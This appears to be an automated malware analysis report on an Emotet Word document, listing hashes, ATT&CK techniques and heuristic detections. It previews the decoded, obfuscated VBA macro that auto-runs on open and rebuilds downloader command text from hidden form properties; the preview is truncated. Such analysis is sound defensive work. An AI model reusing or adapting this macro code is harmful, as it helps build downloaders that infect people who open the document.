Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 0dc0bda81ebdc4de…

MALICIOUS

Office (OLE)

179.9 KB Created: 2019-12-13 05:53:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: c610904e32f9cbd7e7cc6b8b4d2314d4 SHA-1: 1026f355ea7beb36ac7a98171f96c91d4b7d5328 SHA-256: 0dc0bda81ebdc4de5edc1af4a8979d9a01a10ada4dbb4a393c3fedc618bc99db
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. The heuristics indicate a hidden UserForm command stager and auto-execution via CreateObject, suggesting the macro is designed to download and execute a second-stage payload. ClamAV detection further confirms its malicious nature as Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7451162-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7451162-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8309 bytes
SHA-256: 322fc26dc9839f96c8d2604638961df4d0a9d0e570591190a62f2f81d2d9cf9d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jtqppansht"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Aeeukravytz, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Jpjmzyxc
      Case 19
         Pwcaqrvfssu = Cos(439)
         Eggqzccgk = Atn(886)
         Qikzaarwxn = Cos(808)
      Case 629
         Gotjwqmn = Atn(185)
         Hffshxzbieur = 136
         Gverbytuq = CDate(107)
      Case 77
         Cgsfpyod = CInt(777)
         Fuhttwwf = Log(Pflcbmvmj)
         Pzsfrhvsgfn = Bbwyhbwoh
End Select
   Select Case Fgblbxggocdkx
      Case 415
         Mncebatc = Cos(611)
         Dtxprsexlzy = Atn(414)
         Xbrbulmhmgyjr = Cos(353)
      Case 476
         Xwlebyydirwjy = Atn(873)
         Fbpqedkyzr = 555
         Rmygzwgao = CDate(330)
      Case 613
         Wzzxikybouab = CInt(236)
         Bqvmxmmntgrj = Log(Msnxrgsqffboa)
         Kqlblygknrbii = Gyzcowhdjrbk
End Select
   Select Case Ravrltxclz
      Case 800
         Clmrvgvbx = Cos(245)
         Xhwxmibjaw = Atn(57)
         Kduczwlkqolpc = Cos(36)
      Case 760
         Zhfolioxko = Atn(739)
         Ujqrjwpboa = 470
         Flzuivhuawbb = CDate(69)
      Case 39
         Unvfkndlr = CInt(709)
         Xctmjxze = Log(Aiupphbkxh)
         Bbbgiqpsutyul = Iqycxlzuebq
End Select
Jfxlnrsficzmx
End Sub

Attribute VB_Name = "Twhafhefmvv"
Attribute VB_Base = "0{1BAF1910-618A-4420-9084-64F0B573C63C}{FE794E19-339A-4D90-8956-27C2E008CA72}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Lkoibvaurl"
Function Yfjjffbgeayj()
   Select Case Dfwwimgr
      Case 853
         Tjiolfctqhp = Cos(502)
         Unlbccmchtlu = Atn(872)
         Jriaofdkpnr = Cos(915)
      Case 615
         Fvaknuncj = Atn(319)
         Dozolqxtso = 526
         Hhbdojxy = CDate(306)
      Case 824
         Whhhiyzeozvyw = CInt(707)
         Pzzqxnqmt = Log(Mrzsmyag)
         Hehyuoatgjkb = Kximjgunofmhe
End Select
Vnivkcoxgms = Jtqppansht.Aeeukravytz
   Select Case Cwtcjols
      Case 894
         Qyiqkbuu = Cos(109)
         Ggbtwvcur = Atn(2)
         Czvvvsgkvnkps = Cos(39)
      Case 36
         Byaylvuvuvuz = Atn(440)
         Mqbngnzmvoi = 197
         Tuwqjoctdu = CDate(481)
      Case 938
         Aidazasawiwjb = CInt(112)
         Updlpwlabyfl = Log(Tiviqgev)
         Opnnkxmoxxiea = Apibctpi
End Select
Pekavoiyqhro = Vnivkcoxgms + Twhafhefmvv.Yuqvxxmhhy + Twhafhefmvv.Nvylwcphvjgew + Twhafhefmvv.Zbvcmpsrvzof
   Select Case Xnnxshphevfin
      Case 405
         Xenprpgrqz = Cos(524)
         Vwplhagbefq = Atn(51)
         Jfqhffam = Cos(232)
      Case 233
         Vqhbjrvx = Atn(357)
         Tukpjyihmir = 318
         Phjpkluc = CDate(473)
      Case 303
         Vtuzywjii = CInt(916)
         Gpvbygwsagjho = Log(Ablldmsnpvoy)
         Czjveisonm = Jaammghdwixwp
End Select
Fyeltbcyzeyah = Pekavoiyqhro + Twhafhefmvv.Pwlrpnrmnwl + Twhafhefmvv.Pbgflrvoug.ControlTipText
   Select Case Wwmzdfkcf
      Case 249
         Zpzvgiqgoa = Cos(276)
         Hgumpowapdz = Atn(379)
         Dphyvuforp = Cos(86)
      Case 989
         Lflowkergeti = Atn(596)
         Niftvqimdtii = 903
         Aaqqqueil = CDate(691)
      Case 740
         Svzcywzfagwj = CInt(27)
         Ojzbsforxqfn = Log(Yqewtacuikex)
         Tzdrsvbl = Tfebxiwks
End Select
Yfjjffbgeayj = Whmqyuaztu + Fyeltbcyzeyah + Whmqyuaztu
   Select Case Hhpdpxmwnhh
      Case 433
         Rrxxuxxt = Cos(614)
         Gndjbkhrvsffx = Atn(431)
         Hbrkrkfjiaqdw = Cos(253)
      Case 132
         Mwjjjqlollf = Atn(257)
         Zxltixmvgj = 80
         Aeuilhlyffi = CDate(103)
      Case 668
       
... (truncated)

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